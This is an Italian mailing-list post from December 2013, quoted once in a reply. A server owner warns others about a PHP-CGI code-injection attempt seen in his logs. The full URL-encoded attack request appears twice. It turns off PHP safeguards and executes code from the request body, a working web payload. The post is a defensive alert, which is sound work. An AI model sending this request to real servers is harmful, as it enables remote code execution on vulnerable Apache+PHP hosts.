[Gfoss] Segnalazione di potenziale exploit per macchine apache+php5

Salve,

su un mio server che ho su internet per uso personale sto loggando oggi alcuni sospetti attacchi per cui segnalo la cosa affinche’ chi ne puo’ essere affetto prenda provvedimenti.

I miei logs riportano infatti questa invocazione:

POST /cgi-bin/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1

In soldoni stanno inviando da stamani a ritmo serrato sempre questa medesima stringa.

Nel mio caso vanno a vuoto perche’ non ho il php5 installato, ma sembra che in presenza del php5 + apache la cosa possa andare a buon fine.

http://stackoverflow.com/questions/18008646/can-anyone-explain-this-php-code-injection-attack-to-me

Quindi , per chi avesse apache e php5 sulla macchina conviene dare una occhiata.

Saluti,

Andrea Peri
. . . . . . . . .
qwerty àèìòù

Maggiori dettagli:

http://www.exploit-db.com/exploits/29290/

···

Il giorno 31 dicembre 2013 19:09, Andrea Peri <aperi2007@gmail.com> ha scritto:

Salve,

su un mio server che ho su internet per uso personale sto loggando oggi alcuni sospetti attacchi per cui segnalo la cosa affinche’ chi ne puo’ essere affetto prenda provvedimenti.

I miei logs riportano infatti questa invocazione:

POST /cgi-bin/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1

In soldoni stanno inviando da stamani a ritmo serrato sempre questa medesima stringa.

Nel mio caso vanno a vuoto perche’ non ho il php5 installato, ma sembra che in presenza del php5 + apache la cosa possa andare a buon fine.

http://stackoverflow.com/questions/18008646/can-anyone-explain-this-php-code-injection-attack-to-me

Quindi , per chi avesse apache e php5 sulla macchina conviene dare una occhiata.

Saluti,

Andrea Peri
. . . . . . . . .
qwerty àèìòù

Andrea Peri
. . . . . . . . .
qwerty àèìòù